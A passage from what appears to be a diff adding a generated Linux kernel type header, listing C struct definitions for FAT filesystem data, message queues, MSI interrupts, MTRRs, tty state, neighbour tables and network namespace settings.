u8 boot_ind; + u8 head; + u8 sector; + u8 cyl; + u8 sys_ind; + u8 end_head; + u8 end_sector; + u8 end_cyl; + __le32 start_sect; + __le32 nr_sects; +}; + +struct msdos_sb_info { + unsigned short sec_per_clus; + unsigned short cluster_bits; + unsigned int cluster_size; + unsigned char fats; + unsigned char fat_bits; + unsigned short fat_start; + unsigned long fat_length; + unsigned long dir_start; + unsigned short dir_entries; + unsigned long data_start; + unsigned long max_cluster; + unsigned long root_cluster; + unsigned long fsinfo_sector; + struct mutex fat_lock; + struct mutex nfs_build_inode_lock; + struct mutex s_lock; + unsigned int prev_free; + unsigned int free_clusters; + unsigned int free_clus_valid; + struct fat_mount_options options; + struct nls_table *nls_disk; + struct nls_table *nls_io; + const void *dir_ops; + int dir_per_block; + int dir_per_block_bits; + unsigned int vol_id; + int fatent_shift; + const struct fatent_operations *fatent_ops; + struct inode *fat_inode; + struct inode *fsinfo_inode; + struct ratelimit_state ratelimit; + spinlock_t inode_hash_lock; + struct hlist_head inode_hashtable[256]; + spinlock_t dir_hash_lock; + struct hlist_head dir_hashtable[256]; + unsigned int dirty; + struct callback_head rcu; +}; + +struct msg_msgseg; + +struct msg_msg { + struct list_head m_list; + long m_type; + size_t m_ts; + struct msg_msgseg *next; + void *security; +}; + +struct msg_msgseg { + struct msg_msgseg *next; +}; + +struct msg_queue { + struct kern_ipc_perm q_perm; + time64_t q_stime; + time64_t q_rtime; + time64_t q_ctime; + unsigned long q_cbytes; + unsigned long q_qnum; + unsigned long q_qbytes; + struct pid *q_lspid; + struct pid *q_lrpid; + struct list_head q_messages; + struct list_head q_receivers; + struct list_head q_senders; + long: 64; + long: 64; +}; + +struct msg_receiver { + struct list_head r_list; + struct task_struct *r_tsk; + int r_mode; + long r_msgtype; + long r_maxsize; + struct msg_msg *r_msg; +}; + +struct msg_sender { + struct list_head list; + struct task_struct *tsk; + size_t msgsz; +}; + +struct msgbuf { + __kernel_long_t mtype; + char mtext[1]; +}; + +struct msginfo { + int msgpool; + int msgmap; + int msgmax; + int msgmnb; + int msgmni; + int msgssz; + int msgtql; + unsigned short msgseg; +}; + +struct msi_ctrl { + unsigned int domid; + unsigned int first; + unsigned int last; + unsigned int nirqs; +}; + +struct x86_msi_addr_lo { + union { + struct { + u32 reserved_0: 2; + u32 dest_mode_logical: 1; + u32 redirect_hint: 1; + u32 reserved_1: 1; + u32 virt_destid_8_14: 7; + u32 destid_0_7: 8; + u32 base_address: 12; + }; + struct { + u32 dmar_reserved_0: 2; + u32 dmar_index_15: 1; + u32 dmar_subhandle_valid: 1; + u32 dmar_format: 1; + u32 dmar_index_0_14: 15; + u32 dmar_base_address: 12; + }; + }; +}; + +typedef struct x86_msi_addr_lo arch_msi_msg_addr_lo_t; + +struct x86_msi_addr_hi { + u32 reserved: 8; + u32 destid_8_31: 24; +}; + +typedef struct x86_msi_addr_hi arch_msi_msg_addr_hi_t; + +struct x86_msi_data { + union { + struct { + u32 vector: 8; + u32 delivery_mode: 3; + u32 dest_mode_logical: 1; + u32 reserved: 2; + u32 active_low: 1; + u32 is_level: 1; + }; + u32 dmar_subhandle; + }; +}; + +typedef struct x86_msi_data arch_msi_msg_data_t; + +struct msi_msg { + union { + u32 address_lo; + arch_msi_msg_addr_lo_t arch_addr_lo; + }; + union { + u32 address_hi; + arch_msi_msg_addr_hi_t arch_addr_hi; + }; + union { + u32 data; + arch_msi_msg_data_t arch_data; + }; +}; + +struct pci_msi_desc { + union { + u32 msi_mask; + u32 msix_ctrl; + }; + struct { + u8 is_msix: 1; + u8 multiple: 3; + u8 multi_cap: 3; + u8 can_mask: 1; + u8 is_64: 1; + u8 is_virtual: 1; + unsigned int default_irq; + } msi_attrib; + union { + u8 mask_pos; + void *mask_base; + }; +}; + +union msi_domain_cookie { + u64 value; + void *ptr; + void *iobase; +}; + +union msi_instance_cookie { + u64 value; + void *ptr; +}; + +struct msi_desc_data { + union msi_domain_cookie dcookie; + union msi_instance_cookie icookie; +}; + +struct msi_desc { + unsigned int irq; + unsigned int nvec_used; + struct device *dev; + struct msi_msg msg; + struct irq_affinity_desc *affinity; + struct device_attribute *sysfs_attrs; + void (*write_msi_msg)(struct msi_desc *, void *); + void *write_msi_msg_data; + u16 msi_index; + union { + struct pci_msi_desc pci; + struct msi_desc_data data; + }; +}; + +struct msi_dev_domain { + struct xarray store; + struct irq_domain *domain; +}; + +struct msi_device_data { + unsigned long properties; + struct mutex mutex; + struct msi_dev_domain __domains[1]; + unsigned long __iter_idx; +}; + +struct msi_domain_ops; + +struct msi_domain_info { + u32 flags; + enum irq_domain_bus_token bus_token; + unsigned int hwsize; + struct msi_domain_ops *ops; + struct irq_chip *chip; + void *chip_data; + irq_flow_handler_t handler; + void *handler_data; + const char *handler_name; + void *data; +}; + +struct msi_domain_ops { + irq_hw_number_t (*get_hwirq)(struct msi_domain_info *, msi_alloc_info_t *); + int (*msi_init)(struct irq_domain *, struct msi_domain_info *, unsigned int, irq_hw_number_t, msi_alloc_info_t *); + void (*msi_free)(struct irq_domain *, struct msi_domain_info *, unsigned int); + int (*msi_prepare)(struct irq_domain *, struct device *, int, msi_alloc_info_t *); + void (*prepare_desc)(struct irq_domain *, msi_alloc_info_t *, struct msi_desc *); + void (*set_desc)(msi_alloc_info_t *, struct msi_desc *); + int (*domain_alloc_irqs)(struct irq_domain *, struct device *, int); + void (*domain_free_irqs)(struct irq_domain *, struct device *); + void (*msi_post_free)(struct irq_domain *, struct device *); + int (*msi_translate)(struct irq_domain *, struct irq_fwspec *, irq_hw_number_t *, unsigned int *); +}; + +struct msi_domain_template { + char name[48]; + struct irq_chip chip; + struct msi_domain_ops ops; + struct msi_domain_info info; +}; + +struct msi_map { + int index; + int virq; +}; + +struct msi_parent_ops { + u32 supported_flags; + u32 required_flags; + u32 bus_select_token; + u32 bus_select_mask; + const char *prefix; + bool (*init_dev_msi_info)(struct device *, struct irq_domain *, struct irq_domain *, struct msi_domain_info *); +}; + +struct msqid64_ds { + struct ipc64_perm msg_perm; + long msg_stime; + long msg_rtime; + long msg_ctime; + unsigned long msg_cbytes; + unsigned long msg_qnum; + unsigned long msg_qbytes; + __kernel_pid_t msg_lspid; + __kernel_pid_t msg_lrpid; + unsigned long __unused4; + unsigned long __unused5; +}; + +struct msg; + +struct msqid_ds { + struct ipc_perm msg_perm; + struct msg *msg_first; + struct msg *msg_last; + __kernel_old_time_t msg_stime; + __kernel_old_time_t msg_rtime; + __kernel_old_time_t msg_ctime; + unsigned long msg_lcbytes; + unsigned long msg_lqbytes; + unsigned short msg_cbytes; + unsigned short msg_qnum; + unsigned short msg_qbytes; + __kernel_ipc_pid_t msg_lspid; + __kernel_ipc_pid_t msg_lrpid; +}; + +struct msr { + union { + struct { + u32 l; + u32 h; + }; + u64 q; + }; +}; + +struct msr_enumeration { + u32 msr_no; + u32 feature; +}; + +struct msr_info { + u32 msr_no; + struct msr reg; + struct msr __attribute__((btf_type_tag("percpu"))) *msrs; + int err; +}; + +struct msr_info_completion { + struct msr_info msr; + struct completion done; +}; + +struct msr_regs_info { + u32 *regs; + int err; +}; + +struct mthp_stat { + unsigned long stats[130]; +}; + +struct mtrr_gentry { + __u64 base; + __u32 size; + __u32 regnum; + __u32 type; + __u32 _pad; +}; + +struct mtrr_ops { + u32 var_regs; + void (*set)(unsigned int, unsigned long, unsigned long, mtrr_type); + void (*get)(unsigned int, unsigned long *, unsigned long *, mtrr_type *); + int (*get_free_region)(unsigned long, unsigned long, int); + int (*validate_add_page)(unsigned long, unsigned long, unsigned int); + int (*have_wrcomb)(void); +}; + +struct mtrr_sentry { + __u64 base; + __u32 size; + __u32 type; +}; + +struct mtrr_var_range { + __u32 base_lo; + __u32 base_hi; + __u32 mask_lo; + __u32 mask_hi; +}; + +struct mtrr_state_type { + struct mtrr_var_range var_ranges[256]; + mtrr_type fixed_ranges[88]; + unsigned char enabled; + bool have_fixed; + mtrr_type def_type; +}; + +struct mu_bfer_init_para { + u16 paid; + u16 csi_para; + u16 my_aid; + enum csi_seg_len csi_length_sel; + u8 bfer_address[6]; +}; + +struct multi_stop_data { + cpu_stop_fn_t fn; + void *data; + unsigned int num_threads; + const struct cpumask *active_cpus; + enum multi_stop_state state; + atomic_t thread_ack; +}; + +struct multiprocess_signals { + sigset_t signal; + struct hlist_node node; +}; + +typedef struct mutex *class_mutex_t; + +typedef class_mutex_t class_mutex_intr_t; + +struct mutex_waiter { + struct list_head list; + struct task_struct *task; + struct ww_acquire_ctx *ww_ctx; + void *magic; +}; + +struct mwait_cpu_dead { + unsigned int control; + unsigned int status; +}; + +struct my_u { + __le64 a; + __le64 b; +}; + +struct my_u0 { + __le64 a; + __le64 b; +}; + +struct my_u1 { + __le64 a; + __le64 b; + __le64 c; + __le64 d; +}; + +struct n_tty_data { + size_t read_head; + size_t commit_head; + size_t canon_head; + size_t echo_head; + size_t echo_commit; + size_t echo_mark; + unsigned long char_map[4]; + unsigned long overrun_time; + unsigned int num_overrun; + bool no_room; + unsigned char lnext: 1; + unsigned char erasing: 1; + unsigned char raw: 1; + unsigned char real_raw: 1; + unsigned char icanon: 1; + unsigned char push: 1; + u8 read_buf[4096]; + unsigned long read_flags[64]; + u8 echo_buf[4096]; + size_t read_tail; + size_t line_start; + size_t lookahead_count; + unsigned int column; + unsigned int canon_column; + size_t echo_tail; + struct mutex atomic_read_lock; + struct mutex output_lock; +}; + +struct name_cache_entry { + struct btrfs_lru_cache_entry entry; + u64 parent_ino; + u64 parent_gen; + int ret; + int need_later_update; + int name_len; + char name[0]; +}; + +struct name_snapshot { + struct qstr name; + unsigned char inline_name[40]; +}; + +struct saved { + struct path link; + struct delayed_call done; + const char *name; + unsigned int seq; +}; + +struct nameidata { + struct path path; + struct qstr last; + struct path root; + struct inode *inode; + unsigned int flags; + unsigned int state; + unsigned int seq; + unsigned int next_seq; + unsigned int m_seq; + unsigned int r_seq; + int last_type; + unsigned int depth; + int total_link_count; + struct saved *stack; + struct saved internal[2]; + struct filename *name; + struct nameidata *saved; + unsigned int root_seq; + int dfd; + vfsuid_t dir_vfsuid; + umode_t dir_mode; +}; + +struct page_frag_cache { + void *va; + __u16 offset; + __u16 size; + unsigned int pagecnt_bias; + bool pfmemalloc; +}; + +struct page_frag_1k { + void *va; + u16 offset; + bool pfmemalloc; +}; + +struct napi_alloc_cache { + local_lock_t bh_lock; + struct page_frag_cache page; + struct page_frag_1k page_small; + unsigned int skb_count; + void *skb_cache[64]; +}; + +struct napi_gro_cb { + union { + struct { + void *frag0; + unsigned int frag0_len; + }; + struct { + struct sk_buff *last; + unsigned long age; + }; + }; + int data_offset; + u16 flush; + u16 count; + u16 proto; + u16 pad; + union { + struct { + u16 gro_remcsum_start; + u8 same_flow: 1; + u8 encap_mark: 1; + u8 csum_valid: 1; + u8 csum_cnt: 3; + u8 free: 2; + u8 is_ipv6: 1; + u8 is_fou: 1; + u8 ip_fixedid: 1; + u8 recursion_counter: 4; + u8 is_flist: 1; + }; + struct { + u16 gro_remcsum_start; + u8 same_flow: 1; + u8 encap_mark: 1; + u8 csum_valid: 1; + u8 csum_cnt: 3; + u8 free: 2; + u8 is_ipv6: 1; + u8 is_fou: 1; + u8 ip_fixedid: 1; + u8 recursion_counter: 4; + u8 is_flist: 1; + } zeroed; + }; + __wsum csum; + union { + struct { + u16 network_offset; + u16 inner_network_offset; + }; + u16 network_offsets[2]; + }; +}; + +struct nf_nat_hooks_net { + struct nf_hook_ops *nat_hook_ops; + unsigned int users; +}; + +struct nat_net { + struct nf_nat_hooks_net nat_proto_net[11]; +}; + +struct nbcon_state { + union { + unsigned int atom; + struct { + unsigned int prio: 2; + unsigned int req_prio: 2; + unsigned int unsafe: 1; + unsigned int unsafe_takeover: 1; + unsigned int cpu: 24; + }; + }; +}; + +struct nbcon_write_context { + struct nbcon_context ctxt; + char *outbuf; + unsigned int len; + bool unsafe_takeover; +}; + +struct nd_msg { + struct icmp6hdr icmph; + struct in6_addr target; + __u8 opt[0]; +}; + +struct nd_opt_hdr { + __u8 nd_opt_type; + __u8 nd_opt_len; +}; + +struct nda_cacheinfo { + __u32 ndm_confirmed; + __u32 ndm_used; + __u32 ndm_updated; + __u32 ndm_refcnt; +}; + +struct ndisc_options; + +struct prefix_info; + +struct ndisc_ops { + int (*parse_options)(const struct net_device *, struct nd_opt_hdr *, struct ndisc_options *); + void (*update)(const struct net_device *, struct neighbour *, u32, u8, const struct ndisc_options *); + int (*opt_addr_space)(const struct net_device *, u8, struct neighbour *, u8 *, u8 **); + void (*fill_addr_option)(const struct net_device *, struct sk_buff *, u8, const u8 *); + void (*prefix_rcv_add_addr)(struct net *, struct net_device *, const struct prefix_info *, struct inet6_dev *, struct in6_addr *, int, u32, bool, bool, __u32, u32, bool); +}; + +struct ndisc_options { + struct nd_opt_hdr *nd_opt_array[15]; + struct nd_opt_hdr *nd_useropts; + struct nd_opt_hdr *nd_useropts_end; +}; + +struct ndmsg { + __u8 ndm_family; + __u8 ndm_pad1; + __u16 ndm_pad2; + __s32 ndm_ifindex; + __u16 ndm_state; + __u8 ndm_flags; + __u8 ndm_type; +}; + +struct ndt_config { + __u16 ndtc_key_len; + __u16 ndtc_entry_size; + __u32 ndtc_entries; + __u32 ndtc_last_flush; + __u32 ndtc_last_rand; + __u32 ndtc_hash_rnd; + __u32 ndtc_hash_mask; + __u32 ndtc_hash_chain_gc; + __u32 ndtc_proxy_qlen; +}; + +struct ndt_stats { + __u64 ndts_allocs; + __u64 ndts_destroys; + __u64 ndts_hash_grows; + __u64 ndts_res_failed; + __u64 ndts_lookups; + __u64 ndts_hits; + __u64 ndts_rcv_probes_mcast; + __u64 ndts_rcv_probes_ucast; + __u64 ndts_periodic_gc_runs; + __u64 ndts_forced_gc_runs; + __u64 ndts_table_fulls; +}; + +struct ndtmsg { + __u8 ndtm_family; + __u8 ndtm_pad1; + __u16 ndtm_pad2; +}; + +struct nduseroptmsg { + unsigned char nduseropt_family; + unsigned char nduseropt_pad1; + unsigned short nduseropt_opts_len; + int nduseropt_ifindex; + __u8 nduseropt_icmp_type; + __u8 nduseropt_icmp_code; + unsigned short nduseropt_pad2; + unsigned int nduseropt_pad3; +}; + +struct neigh_dump_filter { + int master_idx; + int dev_idx; +}; + +struct neigh_hash_table { + struct neighbour __attribute__((btf_type_tag("rcu"))) **hash_buckets; + unsigned int hash_shift; + __u32 hash_rnd[4]; + struct callback_head rcu; +}; + +struct neigh_ops { + int family; + void (*solicit)(struct neighbour *, struct sk_buff *); + void (*error_report)(struct neighbour *, struct sk_buff *); + int (*output)(struct neighbour *, struct sk_buff *); + int (*connected_output)(struct neighbour *, struct sk_buff *); +}; + +struct neigh_parms { + possible_net_t net; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct list_head list; + int (*neigh_setup)(struct neighbour *); + struct neigh_table *tbl; + void *sysctl_table; + int dead; + refcount_t refcnt; + struct callback_head callback_head; + int reachable_time; + u32 qlen; + int data[14]; + unsigned long data_state[1]; +}; + +struct neigh_seq_state { + struct seq_net_private p; + struct neigh_table *tbl; + struct neigh_hash_table *nht; + void * (*neigh_sub_iter)(struct neigh_seq_state *, struct neighbour *, loff_t *); + unsigned int bucket; + unsigned int flags; +}; + +struct neigh_statistics { + unsigned long allocs; + unsigned long destroys; + unsigned long hash_grows; + unsigned long res_failed; + unsigned long lookups; + unsigned long hits; + unsigned long rcv_probes_mcast; + unsigned long rcv_probes_ucast; + unsigned long periodic_gc_runs; + unsigned long forced_gc_runs; + unsigned long unres_discards; + unsigned long table_fulls; +}; + +struct neigh_sysctl_table { + struct ctl_table_header *sysctl_header; + struct ctl_table neigh_vars[21]; +}; + +struct pneigh_entry; + +struct neigh_table { + int family; + unsigned int entry_size; + unsigned int key_len; + __be16 protocol; + __u32 (*hash)(const void *, const struct net_device *, __u32 *); + bool (*key_eq)(const struct neighbour *, const void *); + int (*constructor)(struct neighbour *); + int (*pconstructor)(struct pneigh_entry *); + void (*pdestructor)(struct pneigh_entry *); + void (*proxy_redo)(struct sk_buff *); + int (*is_multicast)(const void *); + bool (*allow_add)(const struct net_device *, struct netlink_ext_ack *); + char *id; + struct neigh_parms parms; + struct list_head parms_list; + int gc_interval; + int gc_thresh1; + int gc_thresh2; + int gc_thresh3; + unsigned long last_flush; + struct delayed_work gc_work; + struct delayed_work managed_work; + struct timer_list proxy_timer; + struct sk_buff_head proxy_queue; + atomic_t entries; + atomic_t gc_entries; + struct list_head gc_list; + struct list_head managed_list; + rwlock_t lock; + unsigned long last_rand; + struct neigh_statistics __attribute__((btf_type_tag("percpu"))) *stats; + struct neigh_hash_table __attribute__((btf_type_tag("rcu"))) *nht; + struct pneigh_entry **phash_buckets; +}; + +struct neighbour { + struct neighbour __attribute__((btf_type_tag("rcu"))) *next; + struct neigh_table *tbl; + struct neigh_parms *parms; + unsigned long confirmed; + unsigned long updated; + rwlock_t lock; + refcount_t refcnt; + unsigned int arp_queue_len_bytes; + struct sk_buff_head arp_queue; + struct timer_list timer; + unsigned long used; + atomic_t probes; + u8 nud_state; + u8 type; + u8 dead; + u8 protocol; + u32 flags; + seqlock_t ha_lock; + unsigned char ha[32]; + struct hh_cache hh; + int (*output)(struct neighbour *, struct sk_buff *); + const struct neigh_ops *ops; + struct list_head gc_list; + struct list_head managed_list; + struct callback_head rcu; + struct net_device *dev; + netdevice_tracker dev_tracker; + u8 primary_key[0]; +}; + +struct neighbour_cb { + unsigned long sched_next; + unsigned int flags; +}; + +union nested_table { + union nested_table __attribute__((btf_type_tag("rcu"))) *table; + struct rhash_lock_head __attribute__((btf_type_tag("rcu"))) *bucket; +}; + +struct ref_tracker_dir {}; + +struct raw_notifier_head { + struct notifier_block __attribute__((btf_type_tag("rcu"))) *head; +}; + +struct prot_inuse; + +struct netns_core { + struct ctl_table_header *sysctl_hdr; + int sysctl_somaxconn; + int sysctl_optmem_max; + u8 sysctl_txrehash; + struct prot_inuse __attribute__((btf_type_tag("percpu"))) *prot_inuse; + struct cpumask *rps_default_mask; +}; + +struct tcp_mib; + +struct udp_mib; + +struct netns_mib { + struct ipstats_mib __attribute__((btf_type_tag("percpu"))) *ip_statistics; + struct ipstats_mib __attribute__((btf_type_tag("percpu"))) *ipv6_statistics; + struct tcp_mib __attribute__((btf_type_tag("percpu"))) *tcp_statistics; + struct linux_mib __attribute__((btf_type_tag("percpu"))) *net_statistics; + struct udp_mib __attribute__((btf_type_tag("percpu"))) *udp_statistics; + struct udp_mib __attribute__((btf_type_tag("percpu"))) *udp_stats_in6; + struct udp_mib __attribute__((btf_type_tag("percpu"))) *udplite_statistics; + struct udp_mib __attribute__((btf_type_tag("percpu"))) *udplite_stats_in6; + struct icmp_mib __attribute__((btf_type_tag("percpu"))) *icmp_statistics; + struct icmpmsg_mib *icmpmsg_statistics; + struct icmpv6_mib __attribute__((btf_type_tag("percpu"))) *icmpv6_statistics; + struct icmpv6msg_mib *icmpv6msg_statistics; + struct proc_dir_entry *proc_net_devsnmp6; +}; + +struct netns_packet { + struct mutex sklist_lock; + struct hlist_head sklist; +}; + +struct unix_table { + spinlock_t *locks; + struct hlist_head *buckets; +}; + +struct netns_unix { + struct unix_table table; + int sysctl_max_dgram_qlen; + struct ctl_table_header *ctl; +}; + +struct netns_nexthop { + struct rb_root rb_root; + struct hlist_head *devhash; + unsigned int seq; + u32 last_id_allocated; + struct blocking_notifier_head notifier_chain; +}; + +struct ping_group_range { + seqlock_t lock; + kgid_t range[2]; +}; + +struct netns_ipv4 { + __u8 __cacheline_group_begin__netns_ipv4_read_tx[0]; + u8 sysctl_tcp_early_retrans; + u8 sysctl_tcp_tso_win_divisor; + u8 sysctl_tcp_tso_rtt_log; + u8 sysctl_tcp_autocorking; + int sysctl_tcp_min_snd_mss; + unsigned int sysctl_tcp_notsent_lowat; + int sysctl_tcp_limit_output_bytes; + int sysctl_tcp_min_rtt_wlen; + int sysctl_tcp_wmem[3]; + u8 sysctl_ip_fwd_use_pmtu; + __u8 __cacheline_group_end__netns_ipv4_read_tx[0]; + __u8 __cacheline_group_begin__netns_ipv4_read_txrx[0]; + u8 sysctl_tcp_moderate_rcvbuf; + __u8 __cacheline_group_end__netns_ipv4_read_txrx[0]; + __u8 __cacheline_group_begin__netns_ipv4_read_rx[0]; + u8 sysctl_ip_early_demux; + u8 sysctl_tcp_early_demux; + int sysctl_tcp_reordering; + int sysctl_tcp_rmem[3]; + __u8 __cacheline_group_end__netns_ipv4_read_rx[0]; + long: 64; + struct inet_timewait_death_row tcp_death_row; + struct udp_table *udp_table; + struct ctl_table_header *forw_hdr; + struct ctl_table_header *frags_hdr; + struct ctl_table_header *ipv4_hdr; + struct ctl_table_header *route_hdr; + struct ctl_table_header *xfrm4_hdr; + struct ipv4_devconf *devconf_all; + struct ipv4_devconf *devconf_dflt; + struct ip_ra_chain __attribute__((btf_type_tag("rcu"))) *ra_chain; + struct mutex ra_mutex; + bool fib_has_custom_local_routes; + bool fib_offload_disabled; + u8 sysctl_tcp_shrink_window; + struct hlist_head *fib_table_hash; + struct sock *fibnl; + struct sock *mc_autojoin_sk; + struct inet_peer_base *peers; + struct fqdir *fqdir; + u8 sysctl_icmp_echo_ignore_all; + u8 sysctl_icmp_echo_enable_probe; + u8 sysctl_icmp_echo_ignore_broadcasts; + u8 sysctl_icmp_ignore_bogus_error_responses; + u8 sysctl_icmp_errors_use_inbound_ifaddr; + int sysctl_icmp_ratelimit; + int sysctl_icmp_ratemask; + int sysctl_icmp_msgs_per_sec; + int sysctl_icmp_msgs_burst; + atomic_t icmp_global_credit; + u32 icmp_global_stamp; + u32 ip_rt_min_pmtu; + int ip_rt_mtu_expires; + int ip_rt_min_advmss; + struct local_ports ip_local_ports; + u8 sysctl_tcp_ecn; + u8 sysctl_tcp_ecn_fallback; + u8 sysctl_ip_default_ttl; + u8 sysctl_ip_no_pmtu_disc; + u8 sysctl_ip_fwd_update_priority; + u8 sysctl_ip_nonlocal_bind; + u8 sysctl_ip_autobind_reuse; + u8 sysctl_ip_dynaddr; + u8 sysctl_udp_early_demux; + u8 sysctl_nexthop_compat_mode; + u8 sysctl_fwmark_reflect; + u8 sysctl_tcp_fwmark_accept; + u8 sysctl_tcp_mtu_probing; + int sysctl_tcp_mtu_probe_floor; + int sysctl_tcp_base_mss; + int sysctl_tcp_probe_threshold; + u32 sysctl_tcp_probe_interval; + int sysctl_tcp_keepalive_time; + int sysctl_tcp_keepalive_intvl; + u8 sysctl_tcp_keepalive_probes; + u8 sysctl_tcp_syn_retries; + u8 sysctl_tcp_synack_retries; + u8 sysctl_tcp_syncookies; + u8 sysctl_tcp_migrate_req; + u8 sysctl_tcp_comp_sack_nr; + u8 sysctl_tcp_backlog_ack_defer; + u8 sysctl_tcp_pingpong_thresh; + u8 sysctl_tcp_retries1; + u8 sysctl_tcp_retries2; + u8 sysctl_tcp_orphan_retries; + u8 sysctl_tcp_tw_reuse; + int sysctl_tcp_fin_timeout; + u8 sysctl_tcp_sack; + u8 sysctl_tcp_window_scaling; + u8 sysctl_tcp_timestamps; + int sysctl_tcp_rto_min_us; + u8 sysctl_tcp_recovery; + u8 sysctl_tcp_thin_linear_timeouts; + u8 sysctl_tcp_slow_start_after_idle; + u8 sysctl_tcp_retrans_collapse; + u8 sysctl_tcp_stdurg; + u8 sysctl_tcp_rfc1337; + u8 sysctl_tcp_abort_on_overflow; + u8 sysctl_tcp_fack; + int sysctl_tcp_max_reordering; + int sysctl_tcp_adv_win_scale; + u8 sysctl_tcp_dsack; + u8 sysctl_tcp_app_win; + u8 sysctl_tcp_frto; + u8 sysctl_tcp_nometrics_save; + u8 sysctl_tcp_no_ssthresh_metrics_save; + u8 sysctl_tcp_workaround_signed_windows; + int sysctl_tcp_challenge_ack_limit; + u8 sysctl_tcp_min_tso_segs; + u8 sysctl_tcp_reflect_tos; + int sysctl_tcp_invalid_ratelimit; + int sysctl_tcp_pacing_ss_ratio; + int sysctl_tcp_pacing_ca_ratio; + unsigned int sysctl_tcp_child_ehash_entries; + unsigned long sysctl_tcp_comp_sack_delay_ns; + unsigned long sysctl_tcp_comp_sack_slack_ns; + int sysctl_max_syn_backlog; + int sysctl_tcp_fastopen; + const struct tcp_congestion_ops __attribute__((btf_type_tag("rcu"))) *tcp_congestion_control; + struct tcp_fastopen_context __attribute__((btf_type_tag("rcu"))) *tcp_fastopen_ctx; + unsigned int sysctl_tcp_fastopen_blackhole_timeout; + atomic_t tfo_active_disable_times; + unsigned long tfo_active_disable_stamp; + u32 tcp_challenge_timestamp; + u32 tcp_challenge_count; + u8 sysctl_tcp_plb_enabled; + u8 sysctl_tcp_plb_idle_rehash_rounds; + u8 sysctl_tcp_plb_rehash_rounds; + u8 sysctl_tcp_plb_suspend_rto_sec; + int sysctl_tcp_plb_cong_thresh; + int sysctl_udp_wmem_min; + int sysctl_udp_rmem_min; + u8 sysctl_fib_notify_on_flag_change; + u8 sysctl_tcp_syn_linear_timeouts; + u8 sysctl_igmp_llm_reports; + int sysctl_igmp_max_memberships; + int sysctl_igmp_max_msf; + int sysctl_igmp_qrv; + struct ping_group_range ping_group_range; + atomic_t dev_addr_genid; + unsigned int sysctl_udp_child_hash_entries; + unsigned long *sysctl_local_reserved_ports; + int sysctl_ip_prot_sock; + struct fib_notifier_ops *notifier_ops; + unsigned int fib_seq; + struct fib_notifier_ops *ipmr_notifier_ops; + unsigned int ipmr_seq; + atomic_t rt_genid; + siphash_key_t ip_id_key; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct netns_sysctl_ipv6 { + struct ctl_table_header *hdr; + struct ctl_table_header *route_hdr; + struct ctl_table_header *icmp_hdr; + struct ctl_table_header *frags_hdr; + struct ctl_table_header *xfrm6_hdr; + int flush_delay; + int ip6_rt_max_size; + int ip6_rt_gc_min_interval; + int ip6_rt_gc_timeout; + int ip6_rt_gc_interval; + int ip6_rt_gc_elasticity; + int ip6_rt_mtu_expires; + int ip6_rt_min_advmss; + u32 multipath_hash_fields; + u8 multipath_hash_policy; + u8 bindv6only; + u8 flowlabel_consistency; + u8 auto_flowlabels; + int icmpv6_time; + u8 icmpv6_echo_ignore_all; + u8 icmpv6_echo_ignore_multicast; + u8 icmpv6_echo_ignore_anycast; + unsigned long icmpv6_ratemask[4]; + unsigned long *icmpv6_ratemask_ptr; + u8 anycast_src_echo_reply; + u8 ip_nonlocal_bind; + u8 fwmark_reflect; + u8 flowlabel_state_ranges; + int idgen_retries; + int idgen_delay; + int flowlabel_reflect; + int max_dst_opts_cnt; + int max_hbh_opts_cnt; + int max_dst_opts_len; + int max_hbh_opts_len; + int seg6_flowlabel; + u32 ioam6_id; + u64 ioam6_id_wide; + u8 skip_notify_on_dev_down; + u8 fib_notify_on_flag_change; + u8 icmpv6_error_anycast_as_unicast; +}; + +struct rt6_statistics; + +struct seg6_pernet_data; + +struct netns_ipv6 { + struct dst_ops ip6_dst_ops; + struct netns_sysctl_ipv6 sysctl; + struct ipv6_devconf *devconf_all; + struct ipv6_devconf *devconf_dflt; + struct inet_peer_base *peers; + struct fqdir *fqdir; + struct fib6_info *fib6_null_entry; + struct rt6_info *ip6_null_entry; + struct rt6_statistics *rt6_stats; + struct timer_list ip6_fib_timer; + struct hlist_head *fib_table_hash; + struct fib6_table *fib6_main_tbl; + struct list_head fib6_walkers; + rwlock_t fib6_walker_lock; + spinlock_t fib6_gc_lock; + atomic_t ip6_rt_gc_expire; + unsigned long ip6_rt_last_gc; + unsigned char flowlabel_has_excl; + struct sock *ndisc_sk; + struct sock *tcp_sk; + struct sock *igmp_sk; + struct sock *mc_autojoin_sk; + struct hlist_head *inet6_addr_lst; + spinlock_t addrconf_hash_lock; + struct delayed_work addr_chk_work; + atomic_t dev_addr_genid; + atomic_t fib6_sernum; + struct seg6_pernet_data *seg6_data; + struct fib_notifier_ops *notifier_ops; + struct fib_notifier_ops *ip6mr_notifier_ops; + unsigned int ipmr_seq; + struct { + struct hlist_head head; + spinlock_t lock; + u32 seq; + } ip6addrlbl_table; + struct ioam6_pernet_data *ioam6_data; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct nf_logger; + +struct nf_hook_entries; + +struct netns_nf { + struct proc_dir_entry *proc_netfilter; + const struct nf_logger __attribute__((btf_type_tag("rcu"))) *nf_loggers[11]; + struct ctl_table_header *nf_log_dir_header; + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *hooks_ipv4[5]; + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *hooks_ipv6[5]; + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *hooks_bridge[5]; + unsigned int defrag_ipv4_users; + unsigned int defrag_ipv6_users; +}; + +struct nf_ct_event_notifier; + +struct nf_generic_net { + unsigned int timeout; +}; + +struct nf_tcp_net { + unsigned int timeouts[14]; + u8 tcp_loose; + u8 tcp_be_liberal; + u8 tcp_max_retrans; + u8 tcp_ignore_invalid_rst; +}; + +struct nf_udp_net { + unsigned int timeouts[2]; +}; + +struct nf_icmp_net { + unsigned int timeout; +}; + +struct nf_ip_net { + struct nf_generic_net generic; + struct nf_tcp_net tcp; + struct nf_udp_net udp; + struct nf_icmp_net icmp; + struct nf_icmp_net icmpv6; +}; + +struct netns_ct { + u8 sysctl_log_invalid; + u8 sysctl_events; + u8 sysctl_acct; + u8 sysctl_tstamp; + u8 sysctl_checksum; + struct ip_conntrack_stat __attribute__((btf_type_tag("percpu"))) *stat; + struct nf_ct_event_notifier __attribute__((btf_type_tag("rcu"))) *nf_conntrack_event_cb; + struct nf_ip_net nf_ct_proto; +}; + +struct netns_nftables { + u8 gencursor; +}; + +struct netns_bpf { + struct bpf_prog_array __attribute__((btf_type_tag("rcu"))) 